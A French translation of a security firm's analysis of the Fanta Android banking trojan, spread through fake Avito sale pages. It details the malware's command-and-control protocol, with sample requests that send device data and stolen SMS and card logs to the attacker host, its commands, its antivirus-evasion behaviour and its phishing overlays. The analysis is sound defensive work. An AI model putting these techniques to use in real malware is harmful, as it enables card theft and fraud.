Fais couler, Fanta : nouvelle tactique de l'ancien cheval de Troie Android

Fais couler, Fanta : nouvelle tactique de l'ancien cheval de Troie Android

Un jour, vous souhaiterez vendre quelque chose sur Avito et, aprÚs avoir publié une description détaillée de votre produit (comme une barrette de RAM), vous recevrez le message suivant :

Fais couler, Fanta : nouvelle tactique de l'ancien cheval de Troie AndroidEn ouvrant le lien, vous découvrirez une page apparemment inoffensive, vous informant, vous, le vendeur heureux et réussi, de l'achat effectué :

Fais couler, Fanta : nouvelle tactique de l'ancien cheval de Troie Android
AprĂšs avoir cliquĂ© sur le bouton « Continuer », un fichier APK sera tĂ©lĂ©chargĂ© sur votre appareil Android, avec une icĂŽne et un nom qui inspirent confiance. Vous avez installĂ© une application qui, pour une raison quelconque, a demandĂ© des droits AccessibilityService, puis quelques fenĂȘtres sont apparues et ont disparu rapidement, et... c'est tout.

Vous vous connectez pour vĂ©rifier votre solde, mais votre application bancaire demande Ă  nouveau les donnĂ©es de votre carte. AprĂšs avoir saisi les informations, une chose horrible se produit : pour une raison qui vous Ă©chappe encore, de l'argent commence Ă  disparaĂźtre de votre compte. Vous essayez de rĂ©soudre le problĂšme, mais votre tĂ©lĂ©phone rĂ©siste : il appuie tout seul sur les touches « Retour » et « Accueil », ne s'Ă©teint pas et ne vous permet pas d'activer des mesures de protection. Au final, vous vous retrouvez sans argent, votre produit n'est pas achetĂ©, vous ĂȘtes dans le flou et vous vous demandez : que s'est-il passĂ© ?

La rĂ©ponse est simple : vous ĂȘtes devenu la victime d'un cheval de Troie Android, Fanta, de la famille Flexnet. Comment cela a-t-il pu arriver ? Nous allons maintenant vous l'expliquer.

Auteurs : Andrey Polovinkin, analyste junior en logiciels malveillants, Ivan Pisariev, expert en logiciels malveillants.

Un peu de statistiques

La famille de chevaux de Troie Android Flexnet a Ă©tĂ© signalĂ©e pour la premiĂšre fois en 2015. À travers une pĂ©riode d'activitĂ© assez longue, la famille s'est Ă©largie pour inclure plusieurs sous-types : Fanta, Limebot, Lipton, etc. Le cheval de Troie, tout comme son infrastructure associĂ©e, ne reste pas immobile : de nouveaux schĂ©mas de distribution efficaces sont en cours de dĂ©veloppement — dans notre cas, des pages de phishing de haute qualitĂ©, ciblant des utilisateurs-vendeurs spĂ©cifiques, et les dĂ©veloppeurs du cheval de Troie suivent les tendances actuelles de la programmation malveillante — en ajoutant de nouvelles fonctionnalitĂ©s permettant de voler plus efficacement de l'argent Ă  partir d'appareils infectĂ©s et de contourner les mĂ©canismes de protection.

La campagne décrite dans cet article cible les utilisateurs en Russie, un petit nombre d'appareils infectés ayant été détectés en Ukraine, encore moins au Kazakhstan et en Biélorussie.

Bien que Flexnet soit sur la scĂšne des chevaux de Troie Android depuis plus de 4 ans et ait Ă©tĂ© minutieusement Ă©tudiĂ© par de nombreux chercheurs, il se porte toujours bien. Depuis janvier 2019, le montant potentiel des dommages s'Ă©lĂšve Ă  plus de 35 millions de roubles - et cela concerne uniquement les campagnes en Russie. En 2015, diffĂ©rentes versions de ce cheval de Troie Android Ă©taient vendues sur des forums underground, oĂč l'on pouvait Ă©galement trouver le code source du trojan avec des descriptions dĂ©taillĂ©es. Cela signifie que les statistiques de dommages dans le monde sont encore plus impressionnantes. Pas mal pour un vieux briscard, n'est-ce pas ?

Fais couler, Fanta : nouvelle tactique de l'ancien cheval de Troie Android

De la vente Ă  la fraude

Comme le montre la capture d'Ă©cran de la page de phishing pour le service en ligne Avito, elle Ă©tait prĂ©parĂ©e pour une victime spĂ©cifique. Apparemment, les malfaiteurs utilisent un des parseurs d'Avito, qui extrait le numĂ©ro de tĂ©lĂ©phone et le nom du vendeur, ainsi que la description du produit. AprĂšs le dĂ©ploiement de la page et la prĂ©paration du fichier APK, un SMS est envoyĂ© Ă  la victime avec son nom et un lien vers la page de phishing, contenant la description de son produit et les montants reçus de la “vente” du produit. En cliquant sur le bouton, l'utilisateur reçoit un fichier APK malveillant - Fanta.

L'analyse du domaine shcet491[.]ru a montré qu'il était délégué à des serveurs DNS de la société Hostinger :

  • ns1.hostinger.ru
  • ns2.hostinger.ru
  • ns3.hostinger.ru
  • ns4.hostinger.ru

Le fichier de zone du domaine contient des enregistrements indiquant adresses IP 31.220.23[.]236, 31.220.23[.]243 et 31.220.23[.]235. Cependant, l'enregistrement de ressources principal du domaine (enregistrement A) pointe vers un serveur avec l'adresse IP 178.132.1[.]240.

L'adresse IP 178.132.1[.]240 est située aux Pays-Bas et appartient à l'hébergeur WorldStream. Les adresses IP 31.220.23[.]235, 31.220.23[.]236 et 31.220.23[.]243 sont situées au Royaume-Uni et appartiennent au serveur d'hébergement virtuel HOSTINGER. Le registrar utilisé est openprov-ru. De plus, les domaines suivants ont été résolus sur l'adresse IP 178.132.1[.]240 :

  • sdelka-ru[.]ru
  • tovar-av[.]ru
  • av-tovar[.]ru
  • ru-sdelka[.]ru
  • shcet382[.]ru
  • sdelka221[.]ru
  • sdelka211[.]ru
  • vyplata437[.]ru
  • viplata291[.]ru
  • perevod273[.]ru
  • perevod901[.]ru

Il convient de noter que presque tous les domaines proposaient des liens au format suivant :

http://(www.){0,1}<%domain%>/[0-9]{7}

Ce modĂšle s'applique Ă©galement au lien dans le SMS. Des donnĂ©es historiques ont montrĂ© qu'un seul domaine correspond Ă  plusieurs liens selon le modĂšle dĂ©crit ci-dessus, ce qui tĂ©moigne de l'utilisation d'un mĂȘme domaine pour rĂ©pandre le trojan Ă  plusieurs victimes.

Allons un peu plus loin : en tant que serveur de contrĂŽle, le cheval de Troie tĂ©lĂ©chargĂ© via le lien SMS utilise l'adresse onuseseddohap[.]club. Ce domaine a Ă©tĂ© enregistrĂ© le 12 mars 2019, et depuis le 29 avril 2019, des applications APK ont interagi avec ce domaine. D'aprĂšs les donnĂ©es obtenues de VirusTotal, un total de 109 applications ont interagi avec ce serveur. Le domaine Ă©tait rĂ©solu Ă  l'adresse IP 217.23.14[.]27, situĂ©e aux Pays-Bas et appartenant Ă  un hĂ©bergeur WorldStream. Le registraire utilisĂ© est namecheap. À cette adresse IP, d'autres domaines ont Ă©galement Ă©tĂ© rĂ©solus bad-racoon[.]club (depuis le 25 septembre 2018) et bad-racoon[.]live (depuis le 25 octobre 2018). Plus de 80 fichiers APK ont interagi avec le domaine bad-racoon[.]club , et bad-racoon[.]live — plus de 100.

Dans l'ensemble, le déroulement de l'attaque est le suivant :

Fais couler, Fanta : nouvelle tactique de l'ancien cheval de Troie Android

Que cache Fanta ?

Comme de nombreux autres chevaux de Troie Android, Fanta est capable de lire et d'envoyer des SMS, de faire des requĂȘtes USSD, et d'afficher ses propres fenĂȘtres au-dessus des applications (y compris des applications bancaires). Cependant, l'ensemble des capacitĂ©s fonctionnelles de cette famille a Ă©tĂ© Ă©largi : Fanta a commencĂ© Ă  utiliser AccessibilityService Ă  diverses fins : lire le contenu des notifications d'autres applications, empĂȘcher la dĂ©tection et l'arrĂȘt de l'exĂ©cution du cheval de Troie sur le dispositif infectĂ©, etc. Fanta fonctionne sur toutes les versions d'Android Ă  partir de 4.4. Dans cet article, nous examinerons plus en dĂ©tail l'exemple suivant de Fanta :

  • MD5: 0826bd11b2c130c4c8ac137e395ac2d4
  • SHA1: ac33d38d486ee4859aa21b9aeba5e6e11404bcc8
  • SHA256: df57b7e7ac6913ea5f4daad319e02db1f4a6b243f2ea6500f83060648da6edfb

Immédiatement aprÚs le lancement

DÚs le lancement, le cheval de Troie cache son icÎne. L'application ne fonctionne que si le nom de l'appareil infecté ne figure pas dans la liste :

  • android_x86
  • VirtualBox
  • Nexus 5X(bullhead)
  • Nexus 5(razor)

Cette vĂ©rification est effectuĂ©e dans le service principal du cheval de Troie — MainService. Lors du premier lancement, les paramĂštres de configuration de l'application sont initialisĂ©s avec des valeurs par dĂ©faut (le format de stockage des donnĂ©es de configuration et leur signification seront expliquĂ©s plus tard), ainsi qu'un enregistrement du nouvel appareil infectĂ© sur le serveur de contrĂŽle. Une requĂȘte HTTP POST sera envoyĂ©e au serveur avec un type de message register_bot et des informations sur l'appareil infectĂ© (version Android, IMEI, numĂ©ro de tĂ©lĂ©phone, nom de l'opĂ©rateur et code du pays dans lequel l'opĂ©rateur est enregistrĂ©). L'adresse sert de serveur de contrĂŽle hXXp://onuseseddohap[.]club/controller.php. En rĂ©ponse, le serveur envoie un message contenant des champs bot_id, bot_pwd, serveur — ces valeurs sont enregistrĂ©es par l'application en tant que paramĂštres du serveur CnC. Le paramĂštre serveur est facultatif si le champ n'a pas Ă©tĂ© reçu : Fanta utilise l'adresse d'enregistrement — hXXp://onuseseddohap[.]club/controller.php. La fonction de changement de l'adresse CnC peut ĂȘtre appliquĂ©e pour rĂ©soudre deux problĂšmes : l'Ă©quilibrage de la charge entre plusieurs serveurs (en cas de nombreux appareils infectĂ©s, la charge sur un serveur web non optimisĂ© peut ĂȘtre Ă©levĂ©e), ainsi que pour utiliser un serveur alternatif en cas de dĂ©faillance de l'un des serveurs CnC.

Si une erreur se produit lors de l'envoi de la demande, le cheval de Troie répétera le processus d'enregistrement dans 20 secondes.

AprÚs l'enregistrement réussi de l'appareil, Fanta affichera le message suivant à l'utilisateur :

Fais couler, Fanta : nouvelle tactique de l'ancien cheval de Troie Android
Remarque importante : le service appelĂ© SĂ©curitĂ© du systĂšme — il s'agit du nom du service du cheval de Troie, et aprĂšs avoir cliquĂ© sur le bouton OK une fenĂȘtre s'ouvrira avec les paramĂštres d'accessibilitĂ© de l'appareil infectĂ©, oĂč l'utilisateur doit lui-mĂȘme accorder les droits d'accessibilitĂ© au service malveillant :

Fais couler, Fanta : nouvelle tactique de l'ancien cheval de Troie Android
DĂšs que l'utilisateur active AccessibilityService, Fanta obtient l'accĂšs au contenu des fenĂȘtres des applications et aux actions effectuĂ©es dans celles-ci :

Fais couler, Fanta : nouvelle tactique de l'ancien cheval de Troie Android
Immédiatement aprÚs avoir reçu les droits d'accessibilité, le cheval de Troie demande les droits d'administrateur et les droits de lecture des notifications :

Fais couler, Fanta : nouvelle tactique de l'ancien cheval de Troie Android
À l'aide d'AccessibilityService, l'application simule des frappes sur les touches, s'octroyant ainsi tous les droits nĂ©cessaires.

Fanta crée plusieurs instances de bases de données (qui seront décrites plus tard), nécessaires pour sauvegarder les données de configuration ainsi que les informations collectées au cours du processus sur l'appareil infecté. Pour envoyer les informations collectées, le cheval de Troie crée une tùche répétée destinée à extraire les champs de la base de données et à recevoir une commande du serveur de contrÎle. L'intervalle d'accÚs au CnC est défini en fonction de la version d'Android : dans le cas de 5.1, l'intervalle sera de 10 secondes, sinon 60 secondes.

Pour recevoir une commande, Fanta effectue une requĂȘte GetTask au serveur de contrĂŽle. En rĂ©ponse, le CnC peut envoyer l'une des commandes suivantes :

CommandeDescription
0Envoyer un SMS
1Passer un appel téléphonique ou exécuter une commande USSD
2Mettre Ă  jour le paramĂštre interval
3Mettre Ă  jour le paramĂštre intercept
6Mettre Ă  jour le paramĂštre smsManager
9Commencer Ă  collecter des SMS
11Réinitialiser le téléphone aux paramÚtres d'usine
12Activation/DĂ©sactivation de la journalisation de la crĂ©ation de fenĂȘtres de dialogue

Fanta collecte également des notifications de 70 applications bancaires, de systÚmes de paiement rapides et de portefeuilles électroniques, et les stocke dans une base de données.

Stockage des paramĂštres de configuration

Pour le stockage des paramĂštres de configuration, Fanta utilise l'approche standard pour la plateforme Android — Preferences-fichiers. Les paramĂštres seront enregistrĂ©s dans un fichier nommĂ© settings. La description des paramĂštres enregistrĂ©s se trouve dans le tableau ci-dessous.

NomValeur par défautValeurs possiblesDescription
id0EntierIdentifiant du bot
serveurhXXp://onuseseddohap[.]club/URLAdresse du serveur de contrĂŽle
pwd—ChaüneMot de passe pour le serveur
interval20EntierIntervalle de temps. Indique de combien de temps il faut retarder l'exécution des tùches suivantes :
  • Lors de l'envoi d'une demande de statut du message SMS envoyĂ©
  • RĂ©ception d'une nouvelle commande du serveur de contrĂŽle

intercepttoutall/telNumberSi le champ est égal à la chaßne tout ou telNumber, alors le message SMS reçu sera intercepté par l'application et ne sera pas affiché à l'utilisateur
smsManager00/1Activation/Désactivation de l'application en tant que destinataire par défaut des SMS
readDialogfauxVrai/FauxActivation/Désactivation de la journalisation des événements AccessibilityEvent

Fanta utilise également le fichier smsManager:

NomValeur par défautValeurs possiblesDescription
pckg—ChaĂźneNom du gestionnaire de SMS utilisĂ©

Interaction avec les bases de données

Dans le cadre de son fonctionnement, le cheval de Troie utilise deux bases de donnĂ©es. La base de donnĂ©es nommĂ©e a est utilisĂ©e pour stocker diverses informations collectĂ©es depuis le tĂ©lĂ©phone. La deuxiĂšme base de donnĂ©es est nommĂ©e fanta.db et est utilisĂ©e pour enregistrer les paramĂštres relatifs Ă  la crĂ©ation de fenĂȘtres de phishing destinĂ©es Ă  collecter des informations sur les cartes bancaires.

Le cheval de Troie utilise la base de donnĂ©es plus pour stocker les informations collectĂ©es et pour enregistrer ses actions. Les donnĂ©es sont stockĂ©es dans le tableau logs. Pour crĂ©er le tableau, la requĂȘte SQL suivante est utilisĂ©e :

create table logs ( _id integer primary key autoincrement, d TEXT, f TEXT, p TEXT, m integer)

La base de données contient les informations suivantes :

1. Journalisation de l'activation de l'appareil infecté avec le message Le téléphone a été allumé !

2. Notifications provenant d'applications. Le message est formé selon le modÚle suivant :

(<%Nom App%>)<%Titre%>: <%Texte de la notification%>

3. DonnĂ©es des cartes bancaires issues des formulaires de phishing créés par le cheval de Troie. Le paramĂštre VIEW_NAME peut ĂȘtre l'un des Ă©lĂ©ments de la liste :

  • AliExpress
  • Avito
  • Google Play
  • Divers <%Nom App%>

Le message est enregistré au format :

[]() Numéro de la carte :; Date :/; CVV :

4. Messages SMS entrants/sortants au format :

() Type : Entrant/Sortant :

5. Informations sur le paquet créant la boßte de dialogue au format :

()

Exemple de tableau logs:

Fais couler, Fanta : nouvelle tactique de l'ancien cheval de Troie Android
L'une des fonctionnalitĂ©s de Fanta est la collecte d'informations sur les cartes bancaires. La collecte des donnĂ©es se fait grĂące Ă  la crĂ©ation de fenĂȘtres de phishing lors de l'ouverture d'applications bancaires. Le Trojan crĂ©e une fenĂȘtre de phishing une seule fois. Les informations concernant l'affichage de la fenĂȘtre Ă  l'utilisateur sont enregistrĂ©es dans le tableau settings dans la base de donnĂ©es fanta.db. Pour crĂ©er la base de donnĂ©es, la requĂȘte SQL suivante est utilisĂ©e :

create table settings (can_login integer, first_bank integer, can_alpha integer, can_avito integer, can_ali integer, can_vtb24 integer, can_telecard integer, can_another integer, can_card integer);

Tous les champs du tableau settings sont initialisĂ©s par dĂ©faut avec la valeur 1 (crĂ©er une fenĂȘtre de phishing). AprĂšs que l'utilisateur a entrĂ© ses donnĂ©es, la valeur sera fixĂ©e Ă  0. Exemple des champs du tableau settings:

  • can_login — le champ rĂ©pond Ă  l'affichage du formulaire lors de l'ouverture de l'application bancaire
  • first_bank — non utilisĂ©
  • can_avito — le champ rĂ©pond Ă  l'affichage du formulaire lors de l'ouverture de l'application Avito
  • can_ali — le champ rĂ©pond Ă  l'affichage du formulaire lors de l'ouverture de l'application Aliexpress
  • can_another — le champ rĂ©pond Ă  l'affichage du formulaire lors de l'ouverture de toute application figurant dans la liste : Youla, Pandao, Drom Auto, Wallet. Cartes de rĂ©duction et de bonus, Aviasales, Booking, Trivago
  • can_card — le champ rĂ©pond Ă  l'affichage du formulaire lors de l'ouverture de Google Play

Interaction avec le serveur de gestion

L'interaction rĂ©seau avec le serveur de gestion se fait via le protocole HTTP. Pour travailler avec le rĂ©seau, Fanta utilise la bibliothĂšque populaire Retrofit. Les requĂȘtes sont envoyĂ©es Ă  l'adresse hXXp://onuseseddohap[.]club/controller.php. L'adresse du serveur peut ĂȘtre modifiĂ©e lors de l'enregistrement sur le serveur. Des cookies peuvent ĂȘtre reçus en rĂ©ponse du serveur. Fanta effectue les requĂȘtes suivantes au serveur :

  • L'enregistrement du bot sur le serveur de gestion se fait une fois au premier dĂ©marrage. Les donnĂ©es sur le dispositif infectĂ© envoyĂ©es au serveur comprennent :
    · Cookie — cookies reçus du serveur (valeur par dĂ©faut — chaĂźne vide)
    · mode — constante de chaĂźne register_bot
    · prefix — constante entiĂšre 2
    · version_sdk — se forme selon le modĂšle suivant : /(Avit)
    · imei — IMEI du dispositif infectĂ©
    · pays — code du pays dans lequel l'opĂ©rateur est enregistrĂ©, au format ISO
    · number — numĂ©ro de tĂ©lĂ©phone
    · opĂ©rateur — nom de l'opĂ©rateur

    Exemple de requĂȘte envoyĂ©e au serveur :

    POST /controller.php HTTP/1.1
    Cookie:
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 144
    Host: onuseseddohap.club
    Connection: close
    Accept-Encoding: gzip, deflate
    User-Agent: okhttp/3.6.0
    
    mode=register_bot&prefix=2&version_sdk=<%VERSION_SDK%>&imei=<%IMEI%>&country=<%COUNTRY_ISO%>&number=<%TEL_NUMBER%>&operator=<%OPERATOR_NAME%>
    

    En rĂ©ponse Ă  la requĂȘte, le serveur doit retourner un objet JSON contenant les paramĂštres suivants :
    · bot_id — identifiant de l'appareil infectĂ©. Si le bot_id est Ă©gal Ă  0, Fanta rĂ©pĂ©tera la requĂȘte.
    · bot_pwd — mot de passe pour le serveur.
    · serveur — adresse du serveur de contrĂŽle. ParamĂštre facultatif. Si ce paramĂštre n'est pas spĂ©cifiĂ©, l'adresse enregistrĂ©e dans l'application sera utilisĂ©e.

    Exemple d'objet JSON :

    {
        "response":[
       	 {
       		 "bot_id": <%BOT_ID%>,
       		 "bot_pwd": <%BOT_PWD%>,
       		 "server": <%SERVER%>
       	 }
        ],
        "status":"ok"
    }

  • RequĂȘte pour obtenir une commande du serveur. Les donnĂ©es suivantes sont envoyĂ©es au serveur :
    · Cookie — cookies reçus du serveur
    · bid — id de l'appareil infectĂ©, obtenu lors de l'envoi de la requĂȘte register_bot
    · pwd — mot de passe pour le serveur
    · divice_admin — champ dĂ©finissant si les droits administratifs ont Ă©tĂ© obtenus. Si les droits administratifs ont Ă©tĂ© obtenus, le champ est Ă©gal Ă  1, sinon 0
    · AccessibilitĂ© — statut de fonctionnement du service d'accessibilitĂ©. Si le service a Ă©tĂ© lancĂ©, la valeur est Ă©gale Ă  1, sinon 0
    · SMSManager — indique si le malware est configurĂ© comme application par dĂ©faut pour recevoir des SMS
    · screen — affiche l'Ă©tat de l'Ă©cran. Une valeur sera dĂ©finie 1, si l'Ă©cran est allumĂ©, sinon 0;

    Exemple de requĂȘte envoyĂ©e au serveur :

    POST /controller.php HTTP/1.1
    Cookie:
    Content-Type: application/x-www-form-urlencoded
    Host: onuseseddohap.club
    Connection: close
    Accept-Encoding: gzip, deflate
    User-Agent: okhttp/3.6.0
    
    mode=getTask&bid=&pwd=&divice_admin=&Accessibility=&SMSManager=&screen=

    Selon la commande, le serveur peut retourner un objet JSON avec différents paramÚtres :

    · Commande Envoyer un SMS: Les paramÚtres contiennent le numéro de téléphone, le texte du message SMS et l'identifiant du message envoyé. L'identifiant est utilisé lors de l'envoi du message au serveur avec le type setSmsStatus.

    {
        "response":
        [
       	 {
       		 "mode": 0,
       		 "sms_number": <%SMS_NUMBER%>,
       		 "sms_text": <%SMS_TEXT%>,
       		 "sms_id": %SMS_ID%
       	 }
        ],
        "status":"ok"
    }

    · Commande Passer un appel téléphonique ou exécuter une commande USSD: Le numéro de téléphone ou la commande arrivant dans le corps de la réponse.

    {
        "response":
        [
       	 {
       		 "mode": 1,
       		 "command": <%TEL_NUMBER%>
       	 }
        ],
        "status":"ok"
    }

    · Commande Modifier le paramÚtre interval.

    {
        "response":
        [
       	 {
       		 "mode": 2,
       		 "interval": 
       	 }
        ],
        "status":"ok"
    }

    · Commande Modifier le paramÚtre d'interception.

    {
        "response":
        [
       	 {
       		 "mode": 3,
       		 "intercept": "all"/"telNumber"/
       	 }
        ],
        "status":"ok"
    }

    · Commande Modifier le champ SmsManager.

    {
        "response":
        [
       	 {
       		 "mode": 6,
       		 "enable": 0/1
       	 }
        ],
        "status":"ok"
    }

    · Commande Effectuer la collecte des SMS depuis un appareil infecté.

    {
        "response":
        [
       	 {
       		 "mode": 9
       	 }
        ],
        "status":"ok"
    }

    · Commande Réinitialiser le téléphone aux paramÚtres d'usine:

    {
        "response":
        [
       	 {
       		 "mode": 11
       	 }
        ],
        "status":"ok"
    }

    · Commande Modifier le paramÚtre ReadDialog.

    {
        "response":
        [
       	 {
       		 "mode": 12,
       		 "enable": 0/1
       	 }
        ],
        "status":"ok"
    }

  • Envoyer un message de type setSmsStatus. Cette requĂȘte est effectuĂ©e aprĂšs l'exĂ©cution de la commande Envoyer un SMS. La requĂȘte apparaĂźt comme suit :

POST /controller.php HTTP/1.1
Cookie:
Content-Type: application/x-www-form-urlencoded
Host: onuseseddohap.club
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.6.0

mode=setSmsStatus&id=/&status_sms=

  • Envoi du contenu de la base de donnĂ©es. Une seule ligne est transmise par requĂȘte. Les donnĂ©es suivantes sont envoyĂ©es au serveur :
    · Cookie — cookies reçus du serveur
    · mode — constante de chaĂźne setSaveInboxSms
    · bid — id de l'appareil infectĂ©, obtenu lors de l'envoi de la requĂȘte register_bot
    · text — texte dans l'enregistrement actuel de la base de donnĂ©es (champ d de la table logs dans la base de donnĂ©es plus)
    · number — nom de l'enregistrement actuel de la base de donnĂ©es (champ p de la table logs dans la base de donnĂ©es plus)
    · sms_mode — valeur entiĂšre (champ m de la table logs dans la base de donnĂ©es plus)

    La requĂȘte apparaĂźt comme suit :

    POST /controller.php HTTP/1.1
    Cookie:
    Content-Type: application/x-www-form-urlencoded
    Host: onuseseddohap.club
    Connection: close
    Accept-Encoding: gzip, deflate
    User-Agent: okhttp/3.6.0
    
    mode=setSaveInboxSms&bid=/&text=&number=&sms_mode=

    En cas d'envoi réussi au serveur, la ligne sera supprimée de la table. Exemple d'objet JSON renvoyé par le serveur :

    {
        "response":[],
        "status":"ok"
    }

Interaction avec AccessibilityService

AccessibilityService a Ă©tĂ© mis en Ɠuvre pour faciliter l'utilisation des appareils Android par les personnes handicapĂ©es. Dans la plupart des cas, l'interaction avec l'application nĂ©cessite une interaction physique. AccessibilityService permet de le faire de maniĂšre programmatique. Fanta utilise ce service pour crĂ©er de fausses fenĂȘtres dans les applications bancaires et empĂȘcher l'accĂšs aux paramĂštres systĂšme et Ă  certaines applications.

En utilisant les fonctionnalitĂ©s d'AccessibilityService, le cheval de Troie suit les changements d'Ă©lĂ©ments Ă  l'Ă©cran de l'appareil infectĂ©. Comme dĂ©jĂ  dĂ©crit, les paramĂštres de Fanta comprennent un paramĂštre qui enregistre les opĂ©rations effectuĂ©es sur les fenĂȘtres de dialogue — readDialog. Si ce paramĂštre est activĂ©, des informations concernant le nom et la description du paquet qui a initiĂ© l'Ă©vĂ©nement seront ajoutĂ©es Ă  la base de donnĂ©es. Le cheval de Troie exĂ©cute les actions suivantes lors du dĂ©clenchement des Ă©vĂ©nements :

  • Simule la pression des touches retour et accueil dans le cas oĂč :
    · si l'utilisateur souhaite redémarrer son appareil
    · si l'utilisateur souhaite désinstaller l'application 'Avito' ou modifier les autorisations
    · si la page mentionne l'application 'Avito'
    · lors de l'ouverture de l'application 'Google Play Protect'
    · lors de l'ouverture des pages avec les paramÚtres AccessibilityService
    · en cas d'apparition de la boßte de dialogue 'Sécurité du systÚme'
    · lors de l'ouverture de la page avec les paramÚtres 'Draw over other app'
    · lors de l'ouverture des pages 'Applications', 'Récupération et réinitialisation', 'Réinitialiser les données', 'Réinitialiser les paramÚtres', 'Panneau des développeurs', 'Accessibilité', 'Fonctionnalités spéciales', 'Droits spéciaux'
    · si l'événement a été généré par certaines applications.

    Liste des applications

    • android
    • Master Lite
    • Clean Master
    • Clean Master pour CPU x86
    • Gestion des autorisations des applications Meizu
    • MIUI Security
    • Clean Master — Antivirus & Nettoyage de cache et de fichiers indĂ©sirables
    • ContrĂŽle parental et GPS : Kaspersky SafeKids
    • Kaspersky Antivirus AppLock & SĂ©curitĂ© Web Beta
    • Virus Cleaner, Antivirus, Cleaner (MAX Security)
    • Mobile AntiVirus Security PRO
    • Avast antivirus & protection gratuite 2019
    • Mobile Security ĐœĐ”ĐłĐ°Đ€ĐŸĐœ
    • AVG Protection pour Xperia
    • SĂ©curitĂ© Mobile
    • Malwarebytes antivirus & protection
    • Antivirus sur Android 2019
    • Security Master — Antivirus, VPNAppLock, Booster
    • AVG antivirus pour tablette Huawei System Manager
    • AccessibilitĂ© Samsung
    • Samsung Smart Manager
    • Security Master
    • Speed Booster
    • Dr.Web
    • Dr.Web Security Space
    • Dr.Web Mobile Control Center
    • Dr.Web Security Space Life
    • Dr.Web Mobile Control Center
    • Antivirus & SĂ©curitĂ© Mobile
    • Kaspersky Internet Security : Antivirus et Protection
    • Kaspersky Battery Life : Économiseur & Booster
    • Kaspersky Endpoint Security — protection et gestion
    • AVG Antivirus gratuit 2019 – Protection pour Android
    • Antivirus Android
    • Norton Mobile Security and Antivirus
    • Antivirus, pare-feu, VPN, sĂ©curitĂ© mobile
    • SĂ©curitĂ© Mobile : antivirus, VPN, protection contre le vol
    • Antivirus pour Android

  • Si, lors de l'envoi d'un SMS Ă  un numĂ©ro court, une autorisation est demandĂ©e, Fanta simule un clic sur la case Ă  cocher Se souvenir du choix et le bouton envoyer.
  • Lors de l'essai de retirer les droits administrateur du trojan, l'Ă©cran du tĂ©lĂ©phone est bloquĂ©.
  • EmpĂȘche l'ajout de nouveaux administrateurs.
  • Dans le cas oĂč l'application antivirus dr.web a dĂ©tectĂ© une menace, Fanta simule un clic sur le bouton ignorer.
  • Le trojan simule un clic sur les boutons retour et accueil, si l'Ă©vĂ©nement a Ă©tĂ© gĂ©nĂ©rĂ© par l'application Samsung Device Care.
  • Fanta crĂ©e des fenĂȘtres de phishing avec des formulaires pour saisir les informations des cartes bancaires, si une application de la liste, comprenant environ 30 diffĂ©rents services en ligne, a Ă©tĂ© lancĂ©e. Parmi eux : AliExpress, Booking, Avito, Composant Google Play Market, Pandao, Drom Auto, etc.

    Formulaires de phishing

    Fanta analyse quelles applications sont lancĂ©es sur l'appareil infectĂ©. Si une application d'intĂ©rĂȘt a Ă©tĂ© ouverte, le cheval de Troie affiche une fenĂȘtre de phishing au-dessus de toutes les autres, qui reprĂ©sente un formulaire pour saisir les informations de la carte bancaire. L'utilisateur doit entrer les donnĂ©es suivantes :

    • NumĂ©ro de carte
    • Date d'expiration de la carte
    • CVV
    • Nom du titulaire de la carte (non pour toutes les banques)

    En fonction de l'application lancĂ©e, diffĂ©rentes fenĂȘtres de phishing seront prĂ©sentĂ©es. Voici quelques exemples :

    Aliexpress :

    Fais couler, Fanta : nouvelle tactique de l'ancien cheval de Troie Android
    Avito :

    Fais couler, Fanta : nouvelle tactique de l'ancien cheval de Troie Android
    Pour certaines autres applications, par exemple Google Play Market, Aviasales, Pandao, Booking, Trivago :
    Fais couler, Fanta : nouvelle tactique de l'ancien cheval de Troie Android

    Comment cela s'est réellement passé

    Heureusement, la personne qui a reçu le SMS dĂ©crit au dĂ©but de l'article Ă©tait un spĂ©cialiste en cybersĂ©curitĂ©. Ainsi, la version rĂ©elle, non scĂ©narisĂ©e, diffĂšre de celle racontĂ©e auparavant : la personne a reçu un SMS intĂ©ressant, puis l'a remis Ă  l'Ă©quipe Group-IB Threat Hunting Intelligence. Le rĂ©sultat de l'attaque — cet article. Une fin heureuse, n'est-ce pas ? Cependant, toutes les histoires ne se terminent pas aussi bien, et pour que la vĂŽtre ne ressemble pas Ă  une version scĂ©narisĂ©e avec perte d'argent, dans la plupart des cas, il suffit de suivre les rĂšgles longtemps Ă©noncĂ©es suivantes :

    • ne pas installer d'applications pour appareil mobile sous Android Ă  partir de sources autres que Google Play
    • en installant une application, prĂȘter une attention particuliĂšre aux autorisations requises par l'application
    • faire attention aux extensions des fichiers tĂ©lĂ©chargĂ©s
    • installer rĂ©guliĂšrement les mises Ă  jour du systĂšme d'exploitation Android
    • ne pas visiter des ressources suspectes et ne pas tĂ©lĂ©charger de fichiers depuis celles-ci
    • ne pas cliquer sur les liens reçus dans les SMS.

Source : habr.com

Acheter un hĂ©bergement fiable pour les sites avec protection DDoS, serveurs VPS VDS đŸ”„ Acheter un hĂ©bergement fiable pour les sites avec protection DDoS, serveurs VPS VDS | ProHoster